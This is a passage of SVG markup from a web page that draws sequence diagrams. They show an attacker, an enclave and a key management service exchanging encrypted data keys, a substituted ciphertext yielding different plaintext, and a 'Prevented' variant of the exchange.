<path d="M 256,784 L 504,784" fill="none" stroke="currentColor"></path>
<path d="M 504,784 L 520,784" fill="none" stroke="currentColor"></path>
<path d="M 0,528 L 0,784" fill="none" stroke="currentColor"></path>
<path d="M 48,16 L 48,528" fill="none" stroke="currentColor"></path>
<path d="M 48,528 L 48,784" fill="none" stroke="currentColor"></path>
<path d="M 48,784 L 48,800" fill="none" stroke="currentColor"></path>
<path d="M 256,16 L 256,48" fill="none" stroke="currentColor"></path>
<path d="M 256,48 L 256,144" fill="none" stroke="currentColor"></path>
<path d="M 256,144 L 256,192" fill="none" stroke="currentColor"></path>
<path d="M 256,192 L 256,288" fill="none" stroke="currentColor"></path>
<path d="M 256,288 L 256,384" fill="none" stroke="currentColor"></path>
<path d="M 256,384 L 256,464" fill="none" stroke="currentColor"></path>
<path d="M 256,464 L 256,512" fill="none" stroke="currentColor"></path>
<path d="M 256,544 L 256,640" fill="none" stroke="currentColor"></path>
<path d="M 256,640 L 256,720" fill="none" stroke="currentColor"></path>
<path d="M 256,720 L 256,784" fill="none" stroke="currentColor"></path>
<path d="M 256,784 L 256,800" fill="none" stroke="currentColor"></path>
<path d="M 280,464 L 280,496" fill="none" stroke="currentColor"></path>
<path d="M 280,720 L 280,752" fill="none" stroke="currentColor"></path>
<path d="M 504,16 L 504,528" fill="none" stroke="currentColor"></path>
<path d="M 504,528 L 504,784" fill="none" stroke="currentColor"></path>
<path d="M 504,784 L 504,800" fill="none" stroke="currentColor"></path>
<path d="M 520,528 L 520,784" fill="none" stroke="currentColor"></path>
<path d="M 256,512 L 256,520" fill="none" stroke="currentColor"></path>
<path d="M 256,536 L 256,544" fill="none" stroke="currentColor"></path>
<polygon points="64.000000,144.000000 52.000000,138.399994 52.000000,149.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 144.000000)"></polygon>
<polygon points="64.000000,288.000000 52.000000,282.399994 52.000000,293.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 288.000000)"></polygon>
<polygon points="256.000000,336.000000 244.000000,330.399994 244.000000,341.600006" fill="currentColor" transform="rotate(0.000000, 248.000000, 336.000000)"></polygon>
<polygon points="256.000000,592.000000 244.000000,586.400024 244.000000,597.599976" fill="currentColor" transform="rotate(0.000000, 248.000000, 592.000000)"></polygon>
<polygon points="272.000000,96.000000 260.000000,90.400002 260.000000,101.599998" fill="currentColor" transform="rotate(180.000000, 264.000000, 96.000000)"></polygon>
<polygon points="272.000000,240.000000 260.000000,234.399994 260.000000,245.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 240.000000)"></polygon>
<polygon points="272.000000,432.000000 260.000000,426.399994 260.000000,437.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 432.000000)"></polygon>
<polygon points="272.000000,496.000000 260.000000,490.399994 260.000000,501.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 496.000000)"></polygon>
<polygon points="272.000000,688.000000 260.000000,682.400024 260.000000,693.599976" fill="currentColor" transform="rotate(180.000000, 264.000000, 688.000000)"></polygon>
<polygon points="272.000000,752.000000 260.000000,746.400024 260.000000,757.599976" fill="currentColor" transform="rotate(180.000000, 264.000000, 752.000000)"></polygon>
<polygon points="392.000000,480.000000 380.000000,474.399994 380.000000,485.600006" fill="currentColor" transform="rotate(0.000000, 384.000000, 480.000000)"></polygon>
<polygon points="408.000000,736.000000 396.000000,730.400024 396.000000,741.599976" fill="currentColor" transform="rotate(0.000000, 400.000000, 736.000000)"></polygon>
<polygon points="504.000000,48.000000 492.000000,42.400002 492.000000,53.599998" fill="currentColor" transform="rotate(0.000000, 496.000000, 48.000000)"></polygon>
<polygon points="504.000000,192.000000 492.000000,186.399994 492.000000,197.600006" fill="currentColor" transform="rotate(0.000000, 496.000000, 192.000000)"></polygon>
<polygon points="504.000000,384.000000 492.000000,378.399994 492.000000,389.600006" fill="currentColor" transform="rotate(0.000000, 496.000000, 384.000000)"></polygon>
<polygon points="504.000000,640.000000 492.000000,634.400024 492.000000,645.599976" fill="currentColor" transform="rotate(0.000000, 496.000000, 640.000000)"></polygon>
<text text-anchor="middle" x="16" y="4" fill="currentColor">A</text>
<text text-anchor="middle" x="24" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="32" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="40" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="48" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="56" y="4" fill="currentColor">k</text>
<text text-anchor="middle" x="64" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="64" y="276" fill="currentColor">s</text>
<text text-anchor="middle" x="72" y="4" fill="currentColor">r</text>
<text text-anchor="middle" x="72" y="132" fill="currentColor">s</text>
<text text-anchor="middle" x="72" y="276" fill="currentColor">t</text>
<text text-anchor="middle" x="72" y="324" fill="currentColor">(</text>
<text text-anchor="middle" x="72" y="564" fill="currentColor">(</text>
<text text-anchor="middle" x="80" y="132" fill="currentColor">t</text>
<text text-anchor="middle" x="80" y="276" fill="currentColor">o</text>
<text text-anchor="middle" x="80" y="324" fill="currentColor">E</text>
<text text-anchor="middle" x="80" y="564" fill="currentColor">E</text>
<text text-anchor="middle" x="88" y="132" fill="currentColor">o</text>
<text text-anchor="middle" x="88" y="276" fill="currentColor">r</text>
<text text-anchor="middle" x="88" y="324" fill="currentColor">,</text>
<text text-anchor="middle" x="88" y="564" fill="currentColor">2</text>
<text text-anchor="middle" x="88" y="580" fill="currentColor">i</text>
<text text-anchor="middle" x="96" y="132" fill="currentColor">r</text>
<text text-anchor="middle" x="96" y="276" fill="currentColor">e</text>
<text text-anchor="middle" x="96" y="324" fill="currentColor">C</text>
<text text-anchor="middle" x="96" y="564" fill="currentColor">,</text>
<text text-anchor="middle" x="96" y="580" fill="currentColor">n</text>
<text text-anchor="middle" x="104" y="132" fill="currentColor">e</text>
<text text-anchor="middle" x="104" y="276" fill="currentColor">(</text>
<text text-anchor="middle" x="104" y="324" fill="currentColor">)</text>
<text text-anchor="middle" x="104" y="564" fill="currentColor">C</text>
<text text-anchor="middle" x="104" y="580" fill="currentColor">s</text>
<text text-anchor="middle" x="112" y="132" fill="currentColor">(</text>
<text text-anchor="middle" x="112" y="276" fill="currentColor">E</text>
<text text-anchor="middle" x="112" y="564" fill="currentColor">2</text>
<text text-anchor="middle" x="112" y="580" fill="currentColor">t</text>
<text text-anchor="middle" x="120" y="132" fill="currentColor">E</text>
<text text-anchor="middle" x="120" y="276" fill="currentColor">2</text>
<text text-anchor="middle" x="120" y="532" fill="currentColor">D</text>
<text text-anchor="middle" x="120" y="564" fill="currentColor">)</text>
<text text-anchor="middle" x="120" y="580" fill="currentColor">e</text>
<text text-anchor="middle" x="128" y="132" fill="currentColor">,</text>
<text text-anchor="middle" x="128" y="276" fill="currentColor">,</text>
<text text-anchor="middle" x="128" y="532" fill="currentColor">a</text>
<text text-anchor="middle" x="128" y="580" fill="currentColor">a</text>
<text text-anchor="middle" x="136" y="132" fill="currentColor">C</text>
<text text-anchor="middle" x="136" y="276" fill="currentColor">C</text>
<text text-anchor="middle" x="136" y="532" fill="currentColor">t</text>
<text text-anchor="middle" x="136" y="580" fill="currentColor">d</text>
<text text-anchor="middle" x="144" y="132" fill="currentColor">=</text>
<text text-anchor="middle" x="144" y="276" fill="currentColor">2</text>
<text text-anchor="middle" x="144" y="532" fill="currentColor">a</text>
<text text-anchor="middle" x="152" y="132" fill="currentColor">e</text>
<text text-anchor="middle" x="152" y="276" fill="currentColor">=</text>
<text text-anchor="middle" x="152" y="580" fill="currentColor">o</text>
<text text-anchor="middle" x="160" y="132" fill="currentColor">n</text>
<text text-anchor="middle" x="160" y="276" fill="currentColor">e</text>
<text text-anchor="middle" x="160" y="532" fill="currentColor">s</text>
<text text-anchor="middle" x="160" y="580" fill="currentColor">f</text>
<text text-anchor="middle" x="168" y="132" fill="currentColor">c</text>
<text text-anchor="middle" x="168" y="276" fill="currentColor">n</text>
<text text-anchor="middle" x="168" y="532" fill="currentColor">w</text>
<text text-anchor="middle" x="176" y="132" fill="currentColor">(</text>
<text text-anchor="middle" x="176" y="276" fill="currentColor">c</text>
<text text-anchor="middle" x="176" y="532" fill="currentColor">a</text>
<text text-anchor="middle" x="176" y="580" fill="currentColor">(</text>
<text text-anchor="middle" x="184" y="132" fill="currentColor">d</text>
<text text-anchor="middle" x="184" y="276" fill="currentColor">(</text>
<text text-anchor="middle" x="184" y="532" fill="currentColor">p</text>
<text text-anchor="middle" x="184" y="580" fill="currentColor">E</text>
<text text-anchor="middle" x="192" y="132" fill="currentColor">k</text>
<text text-anchor="middle" x="192" y="276" fill="currentColor">d</text>
<text text-anchor="middle" x="192" y="580" fill="currentColor">,</text>
<text text-anchor="middle" x="200" y="132" fill="currentColor">,</text>
<text text-anchor="middle" x="200" y="276" fill="currentColor">k</text>
<text text-anchor="middle" x="200" y="532" fill="currentColor">a</text>
<text text-anchor="middle" x="200" y="580" fill="currentColor">C</text>
<text text-anchor="middle" x="208" y="132" fill="currentColor">P</text>
<text text-anchor="middle" x="208" y="276" fill="currentColor">2</text>
<text text-anchor="middle" x="208" y="532" fill="currentColor">t</text>
<text text-anchor="middle" x="208" y="580" fill="currentColor">)</text>
<text text-anchor="middle" x="216" y="132" fill="currentColor">)</text>
<text text-anchor="middle" x="216" y="276" fill="currentColor">,</text>
<text text-anchor="middle" x="216" y="532" fill="currentColor">t</text>
<text text-anchor="middle" x="224" y="4" fill="currentColor">E</text>
<text text-anchor="middle" x="224" y="132" fill="currentColor">)</text>
<text text-anchor="middle" x="224" y="276" fill="currentColor">P</text>
<text text-anchor="middle" x="224" y="532" fill="currentColor">a</text>
<text text-anchor="middle" x="232" y="4" fill="currentColor">n</text>
<text text-anchor="middle" x="232" y="276" fill="currentColor">2</text>
<text text-anchor="middle" x="232" y="532" fill="currentColor">c</text>
<text text-anchor="middle" x="240" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="240" y="276" fill="currentColor">)</text>
<text text-anchor="middle" x="240" y="532" fill="currentColor">k</text>
<text text-anchor="middle" x="248" y="4" fill="currentColor">l</text>
<text text-anchor="middle" x="248" y="276" fill="currentColor">)</text>
<text text-anchor="middle" x="256" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="264" y="4" fill="currentColor">v</text>
<text text-anchor="middle" x="272" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="272" y="36" fill="currentColor">G</text>
<text text-anchor="middle" x="272" y="180" fill="currentColor">G</text>
<text text-anchor="middle" x="272" y="228" fill="currentColor">{</text>
<text text-anchor="middle" x="272" y="372" fill="currentColor">D</text>
<text text-anchor="middle" x="272" y="628" fill="currentColor">D</text>
<text text-anchor="middle" x="280" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="84" fill="currentColor">{</text>
<text text-anchor="middle" x="280" y="180" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="228" fill="currentColor">E</text>
<text text-anchor="middle" x="280" y="372" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="628" fill="currentColor">e</text>
<text text-anchor="middle" x="288" y="36" fill="currentColor">n</text>
<text text-anchor="middle" x="288" y="84" fill="currentColor">E</text>
<text text-anchor="middle" x="288" y="180" fill="currentColor">n</text>
<text text-anchor="middle" x="288" y="228" fill="currentColor">2</text>
<text text-anchor="middle" x="288" y="372" fill="currentColor">c</text>
<text text-anchor="middle" x="288" y="628" fill="currentColor">c</text>
<text text-anchor="middle" x="296" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="296" y="84" fill="currentColor">=</text>
<text text-anchor="middle" x="296" y="180" fill="currentColor">e</text>
<text text-anchor="middle" x="296" y="228" fill="currentColor">=</text>
<text text-anchor="middle" x="296" y="372" fill="currentColor">r</text>
<text text-anchor="middle" x="296" y="484" fill="currentColor">d</text>
<text text-anchor="middle" x="296" y="628" fill="currentColor">r</text>
<text text-anchor="middle" x="296" y="740" fill="currentColor">d</text>
<text text-anchor="middle" x="304" y="36" fill="currentColor">r</text>
<text text-anchor="middle" x="304" y="84" fill="currentColor">e</text>
<text text-anchor="middle" x="304" y="180" fill="currentColor">r</text>
<text text-anchor="middle" x="304" y="228" fill="currentColor">e</text>
<text text-anchor="middle" x="304" y="372" fill="currentColor">y</text>
<text text-anchor="middle" x="304" y="484" fill="currentColor">e</text>
<text text-anchor="middle" x="304" y="628" fill="currentColor">y</text>
<text text-anchor="middle" x="304" y="740" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="312" y="84" fill="currentColor">n</text>
<text text-anchor="middle" x="312" y="180" fill="currentColor">a</text>
<text text-anchor="middle" x="312" y="228" fill="currentColor">n</text>
<text text-anchor="middle" x="312" y="372" fill="currentColor">p</text>
<text text-anchor="middle" x="312" y="484" fill="currentColor">c</text>
<text text-anchor="middle" x="312" y="628" fill="currentColor">p</text>
<text text-anchor="middle" x="312" y="740" fill="currentColor">c</text>
<text text-anchor="middle" x="320" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="84" fill="currentColor">c</text>
<text text-anchor="middle" x="320" y="180" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="228" fill="currentColor">c</text>
<text text-anchor="middle" x="320" y="372" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="484" fill="currentColor">(</text>
<text text-anchor="middle" x="320" y="628" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="676" fill="currentColor">{</text>
<text text-anchor="middle" x="320" y="740" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="328" y="84" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="180" fill="currentColor">e</text>
<text text-anchor="middle" x="328" y="228" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="372" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="484" fill="currentColor">d</text>
<text text-anchor="middle" x="328" y="628" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="676" fill="currentColor">d</text>
<text text-anchor="middle" x="328" y="740" fill="currentColor">d</text>
<text text-anchor="middle" x="336" y="36" fill="currentColor">D</text>
<text text-anchor="middle" x="336" y="84" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="180" fill="currentColor">D</text>
<text text-anchor="middle" x="336" y="228" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="372" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="484" fill="currentColor">k</text>
<text text-anchor="middle" x="336" y="628" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="676" fill="currentColor">k</text>
<text text-anchor="middle" x="336" y="740" fill="currentColor">k</text>
<text text-anchor="middle" x="344" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="84" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="180" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="228" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="372" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="420" fill="currentColor">{</text>
<text text-anchor="middle" x="344" y="484" fill="currentColor">,</text>
<text text-anchor="middle" x="344" y="628" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="676" fill="currentColor">2</text>
<text text-anchor="middle" x="344" y="740" fill="currentColor">2</text>
<text text-anchor="middle" x="352" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="180" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="228" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="372" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="420" fill="currentColor">d</text>
<text text-anchor="middle" x="352" y="484" fill="currentColor">C</text>
<text text-anchor="middle" x="352" y="628" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="676" fill="currentColor">}</text>
<text text-anchor="middle" x="352" y="740" fill="currentColor">,</text>
<text text-anchor="middle" x="360" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="360" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="360" y="180" fill="currentColor">a</text>
<text text-anchor="middle" x="360" y="228" fill="currentColor">,</text>
<text text-anchor="middle" x="360" y="372" fill="currentColor">_</text>
<text text-anchor="middle" x="360" y="420" fill="currentColor">k</text>
<text text-anchor="middle" x="360" y="484" fill="currentColor">)</text>
<text text-anchor="middle" x="360" y="628" fill="currentColor">_</text>
<text text-anchor="middle" x="360" y="740" fill="currentColor">C</text>
<text text-anchor="middle" x="368" y="36" fill="currentColor">K</text>
<text text-anchor="middle" x="368" y="84" fill="currentColor">d</text>
<text text-anchor="middle" x="368" y="180" fill="currentColor">K</text>
<text text-anchor="middle" x="368" y="228" fill="currentColor">d</text>
<text text-anchor="middle" x="368" y="372" fill="currentColor">i</text>
<text text-anchor="middle" x="368" y="420" fill="currentColor">}</text>
<text text-anchor="middle" x="368" y="628" fill="currentColor">i</text>
<text text-anchor="middle" x="368" y="740" fill="currentColor">2</text>
<text text-anchor="middle" x="376" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="376" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="376" y="180" fill="currentColor">e</text>
<text text-anchor="middle" x="376" y="228" fill="currentColor">k</text>
<text text-anchor="middle" x="376" y="372" fill="currentColor">d</text>
<text text-anchor="middle" x="376" y="628" fill="currentColor">d</text>
<text text-anchor="middle" x="376" y="740" fill="currentColor">)</text>
<text text-anchor="middle" x="384" y="36" fill="currentColor">y</text>
<text text-anchor="middle" x="384" y="84" fill="currentColor">)</text>
<text text-anchor="middle" x="384" y="180" fill="currentColor">y</text>
<text text-anchor="middle" x="384" y="228" fill="currentColor">2</text>
<text text-anchor="middle" x="384" y="372" fill="currentColor">,</text>
<text text-anchor="middle" x="384" y="628" fill="currentColor">,</text>
<text text-anchor="middle" x="392" y="36" fill="currentColor">(</text>
<text text-anchor="middle" x="392" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="392" y="180" fill="currentColor">(</text>
<text text-anchor="middle" x="392" y="228" fill="currentColor">)</text>
<text text-anchor="middle" x="392" y="372" fill="currentColor">E</text>
<text text-anchor="middle" x="392" y="628" fill="currentColor">E</text>
<text text-anchor="middle" x="400" y="36" fill="currentColor">c</text>
<text text-anchor="middle" x="400" y="84" fill="currentColor">d</text>
<text text-anchor="middle" x="400" y="180" fill="currentColor">c</text>
<text text-anchor="middle" x="400" y="228" fill="currentColor">,</text>
<text text-anchor="middle" x="400" y="372" fill="currentColor">)</text>
<text text-anchor="middle" x="400" y="484" fill="currentColor">P</text>
<text text-anchor="middle" x="400" y="628" fill="currentColor">2</text>
<text text-anchor="middle" x="408" y="36" fill="currentColor">m</text>
<text text-anchor="middle" x="408" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="408" y="180" fill="currentColor">m</text>
<text text-anchor="middle" x="408" y="228" fill="currentColor">d</text>
<text text-anchor="middle" x="408" y="628" fill="currentColor">)</text>
<text text-anchor="middle" x="416" y="36" fill="currentColor">k</text>
<text text-anchor="middle" x="416" y="84" fill="currentColor">}</text>
<text text-anchor="middle" x="416" y="180" fill="currentColor">k</text>
<text text-anchor="middle" x="416" y="228" fill="currentColor">k</text>
<text text-anchor="middle" x="416" y="740" fill="currentColor">P</text>
<text text-anchor="middle" x="424" y="36" fill="currentColor">_</text>
<text text-anchor="middle" x="424" y="180" fill="currentColor">_</text>
<text text-anchor="middle" x="424" y="228" fill="currentColor">2</text>
<text text-anchor="middle" x="424" y="740" fill="currentColor">2</text>
<text text-anchor="middle" x="432" y="36" fill="currentColor">i</text>
<text text-anchor="middle" x="432" y="180" fill="currentColor">i</text>
<text text-anchor="middle" x="432" y="228" fill="currentColor">}</text>
<text text-anchor="middle" x="440" y="36" fill="currentColor">d</text>
<text text-anchor="middle" x="440" y="180" fill="currentColor">d</text>
<text text-anchor="middle" x="440" y="740" fill="currentColor">≠</text>
<text text-anchor="middle" x="448" y="36" fill="currentColor">)</text>
<text text-anchor="middle" x="448" y="180" fill="currentColor">)</text>
<text text-anchor="middle" x="456" y="740" fill="currentColor">P</text>
<text text-anchor="middle" x="488" y="4" fill="currentColor">K</text>
<text text-anchor="middle" x="496" y="4" fill="currentColor">M</text>
<text text-anchor="middle" x="504" y="4" fill="currentColor">S</text>
</g>

 </svg>
 
</div>

</div>


<label class="tabs__label" for="tabs-5-1">Prevented</label>
<div class="tabs__panel">

<div class="goat svg-container ">
 
 <svg xmlns="http://www.w3.org/2000/svg" font-family="Menlo,Lucida Console,monospace" viewbox="0 0 536 761">
 <g transform="translate(8,16)">
<path d="M 256,48 L 496,48" fill="none" stroke="currentColor"></path>
<path d="M 264,96 L 272,96" fill="none" stroke="currentColor"></path>
<path d="M 288,96 L 296,96" fill="none" stroke="currentColor"></path>
<path d="M 304,96 L 312,96" fill="none" stroke="currentColor"></path>
<path d="M 320,96 L 328,96" fill="none" stroke="currentColor"></path>
<path d="M 336,96 L 344,96" fill="none" stroke="currentColor"></path>
<path d="M 352,96 L 360,96" fill="none" stroke="currentColor"></path>
<path d="M 368,96 L 376,96" fill="none" stroke="currentColor"></path>
<path d="M 384,96 L 392,96" fill="none" stroke="currentColor"></path>
<path d="M 400,96 L 408,96" fill="none" stroke="currentColor"></path>
<path d="M 416,96 L 424,96" fill="none" stroke="currentColor"></path>
<path d="M 432,96 L 440,96" fill="none" stroke="currentColor"></path>
<path d="M 448,96 L 456,96" fill="none" stroke="currentColor"></path>
<path d="M 464,96 L 472,96" fill="none" stroke="currentColor"></path>
<path d="M 480,96 L 488,96" fill="none" stroke="currentColor"></path>
<path d="M 496,96 L 504,96" fill="none" stroke="currentColor"></path>
<path d="M 56,144 L 256,144" fill="none" stroke="currentColor"></path>
<path d="M 256,192 L 496,192" fill="none" stroke="currentColor"></path>
<path d="M 264,240 L 272,240" fill="none" stroke="currentColor"></path>
<path d="M 288,240 L 296,240" fill="none" stroke="currentColor"></path>
<path d="M 304,240 L 312,240" fill="none" stroke="currentColor"></path>
<path d="M 320,240 L 328,240" fill="none" stroke="currentColor"></path>
<path d="M 336,240 L 344,240" fill="none" stroke="currentColor"></path>
<path d="M 352,240 L 360,240" fill="none" stroke="currentColor"></path>
<path d="M 368,240 L 376,240" fill="none" stroke="currentColor"></path>
<path d="M 384,240 L 392,240" fill="none" stroke="currentColor"></path>
<path d="M 400,240 L 408,240" fill="none" stroke="currentColor"></path>
<path d="M 416,240 L 424,240" fill="none" stroke="currentColor"></path>
<path d="M 432,240 L 440,240" fill="none" stroke="currentColor"></path>
<path d="M 448,240 L 456,240" fill="none" stroke="currentColor"></path>
<path d="M 464,240 L 472,240" fill="none" stroke="currentColor"></path>
<path d="M 480,240 L 488,240" fill="none" stroke="currentColor"></path>
<path d="M 496,240 L 504,240" fill="none" stroke="currentColor"></path>
<path d="M 56,288 L 256,288" fill="none" stroke="currentColor"></path>
<path d="M 56,336 L 64,336" fill="none" stroke="currentColor"></path>
<path d="M 72,336 L 80,336" fill="none" stroke="currentColor"></path>
<path d="M 88,336 L 96,336" fill="none" stroke="currentColor"></path>
<path d="M 104,336 L 112,336" fill="none" stroke="currentColor"></path>
<path d="M 120,336 L 128,336" fill="none" stroke="currentColor"></path>
<path d="M 136,336 L 144,336" fill="none" stroke="currentColor"></path>
<path d="M 152,336 L 160,336" fill="none" stroke="currentColor"></path>
<path d="M 168,336 L 176,336" fill="none" stroke="currentColor"></path>
<path d="M 184,336 L 192,336" fill="none" stroke="currentColor"></path>
<path d="M 200,336 L 208,336" fill="none" stroke="currentColor"></path>
<path d="M 216,336 L 224,336" fill="none" stroke="currentColor"></path>
<path d="M 232,336 L 248,336" fill="none" stroke="currentColor"></path>
<path d="M 256,384 L 496,384" fill="none" stroke="currentColor"></path>
<path d="M 264,432 L 272,432" fill="none" stroke="currentColor"></path>
<path d="M 288,432 L 296,432" fill="none" stroke="currentColor"></path>
<path d="M 304,432 L 312,432" fill="none" stroke="currentColor"></path>
<path d="M 320,432 L 328,432" fill="none" stroke="currentColor"></path>
<path d="M 336,432 L 344,432" fill="none" stroke="currentColor"></path>
<path d="M 352,432 L 360,432" fill="none" stroke="currentColor"></path>
<path d="M 368,432 L 376,432" fill="none" stroke="currentColor"></path>
<path d="M 384,432 L 392,432" fill="none" stroke="currentColor"></path>
<path d="M 400,432 L 408,432" fill="none" stroke="currentColor"></path>
<path d="M 416,432 L 424,432" fill="none" stroke="currentColor"></path>
<path d="M 432,432 L 440,432" fill="none" stroke="currentColor"></path>
<path d="M 448,432 L 456,432" fill="none" stroke="currentColor"></path>
<path d="M 464,432 L 472,432" fill="none" stroke="currentColor"></path>
<path d="M 480,432 L 488,432" fill="none" stroke="currentColor"></path>
<path d="M 496,432 L 504,432" fill="none" stroke="currentColor"></path>
<path d="M 256,464 L 280,464" fill="none" stroke="currentColor"></path>
<path d="M 376,480 L 384,480" fill="none" stroke="currentColor"></path>
<path d="M 264,496 L 280,496" fill="none" stroke="currentColor"></path>
<path d="M 0,528 L 48,528" fill="none" stroke="currentColor"></path>
<path d="M 48,528 L 64,528" fill="none" stroke="currentColor"></path>
<path d="M 296,528 L 504,528" fill="none" stroke="currentColor"></path>
<path d="M 504,528 L 520,528" fill="none" stroke="currentColor"></path>
<path d="M 56,592 L 64,592" fill="none" stroke="currentColor"></path>
<path d="M 72,592 L 80,592" fill="none" stroke="currentColor"></path>
<path d="M 88,592 L 96,592" fill="none" stroke="currentColor"></path>
<path d="M 104,592 L 112,592" fill="none" stroke="currentColor"></path>
<path d="M 120,592 L 128,592" fill="none" stroke="currentColor"></path>
<path d="M 136,592 L 144,592" fill="none" stroke="currentColor"></path>
<path d="M 152,592 L 160,592" fill="none" stroke="currentColor"></path>
<path d="M 168,592 L 176,592" fill="none" stroke="currentColor"></path>
<path d="M 184,592 L 192,592" fill="none" stroke="currentColor"></path>
<path d="M 200,592 L 208,592" fill="none" stroke="currentColor"></path>
<path d="M 216,592 L 224,592" fill="none" stroke="currentColor"></path>
<path d="M 232,592 L 248,592" fill="none" stroke="currentColor"></path>
<path d="M 256,640 L 496,640" fill="none" stroke="currentColor"></path>
<path d="M 264,688 L 272,688" fill="none" stroke="currentColor"></path>
<path d="M 288,688 L 296,688" fill="none" stroke="currentColor"></path>
<path d="M 304,688 L 312,688" fill="none" stroke="currentColor"></path>
<path d="M 320,688 L 328,688" fill="none" stroke="currentColor"></path>
<path d="M 336,688 L 344,688" fill="none" stroke="currentColor"></path>
<path d="M 352,688 L 360,688" fill="none" stroke="currentColor"></path>
<path d="M 368,688 L 376,688" fill="none" stroke="currentColor"></path>
<path d="M 384,688 L 392,688" fill="none" stroke="currentColor"></path>
<path d="M 400,688 L 408,688" fill="none" stroke="currentColor"></path>
<path d="M 416,688 L 424,688" fill="none" stroke="currentColor"></path>
<path d="M 432,688 L 440,688" fill="none" stroke="currentColor"></path>
<path d="M 448,688 L 456,688" fill="none" stroke="currentColor"></path>
<path d="M 464,688 L 472,688" fill="none" stroke="currentColor"></path>
<path d="M 480,688 L 488,688" fill="none" stroke="currentColor"></path>
<path d="M 496,688 L 504,688" fill="none" stroke="currentColor"></path>
<path d="M 0,720 L 48,720" fill="none" stroke="currentColor"></path>
<path d="M 48,720 L 256,720" fill="none" stroke="currentColor"></path>
<path d="M 256,720 L 504,720" fill="none" stroke="currentColor"></path>
<path d="M 504,720 L 520,720" fill="none" stroke="currentColor"></path>
<path d="M 0,528 L 0,720" fill="none" stroke="currentColor"></path>
<path d="M 48,16 L 48,528" fill="none" stroke="currentColor"></path>
<path d="M 48,528 L 48,720" fill="none" stroke="currentColor"></path>
<path d="M 48,720 L 48,736" fill="none" stroke="currentColor"></path>
<path d="M 256,16 L 256,48" fill="none" stroke="currentColor"></path>
<path d="M 256,48 L 256,144" fill="none" stroke="currentColor"></path>
<path d="M 256,144 L 256,192" fill="none" stroke="currentColor"></path>
<path d="M 256,192 L 256,288" fill="none" stroke="currentColor"></path>
<path d="M 256,288 L 256,384" fill="none" stroke="currentColor"></path>
<path d="M 256,384 L 256,464" fill="none" stroke="currentColor"></path>
<path d="M 256,464 L 256,512" fill="none" stroke="currentColor"></path>
<path d="M 256,544 L 256,640" fill="none" stroke="currentColor"></path>
<path d="M 256,640 L 256,720" fill="none" stroke="currentColor"></path>
<path d="M 256,720 L 256,736" fill="none" stroke="currentColor"></path>
<path d="M 280,464 L 280,496" fill="none" stroke="currentColor"></path>
<path d="M 504,16 L 504,528" fill="none" stroke="currentColor"></path>
<path d="M 504,528 L 504,720" fill="none" stroke="currentColor"></path>
<path d="M 504,720 L 504,736" fill="none" stroke="currentColor"></path>
<path d="M 520,528 L 520,720" fill="none" stroke="currentColor"></path>
<polygon points="64.000000,144.000000 52.000000,138.399994 52.000000,149.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 144.000000)"></polygon>
<polygon points="64.000000,288.000000 52.000000,282.399994 52.000000,293.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 288.000000)"></polygon>
<polygon points="256.000000,336.000000 244.000000,330.399994 244.000000,341.600006" fill="currentColor" transform="rotate(0.000000, 248.000000, 336.000000)"></polygon>
<polygon points="256.000000,592.000000 244.000000,586.400024 244.000000,597.599976" fill="currentColor" transform="rotate(0.000000, 248.000000, 592.000000)"></polygon>
<polygon points="272.000000,96.000000 260.000000,90.400002 260.000000,101.599998" fill="currentColor" transform="rotate(180.000000, 264.000000, 96.000000)"></polygon>
<polygon points="272.000000,240.000000 260.000000,234.399994 260.000000,245.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 240.000000)"></polygon>
<polygon points="272.000000,432.000000 260.000000,426.399994 260.000000,437.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 432.000000)"></polygon>
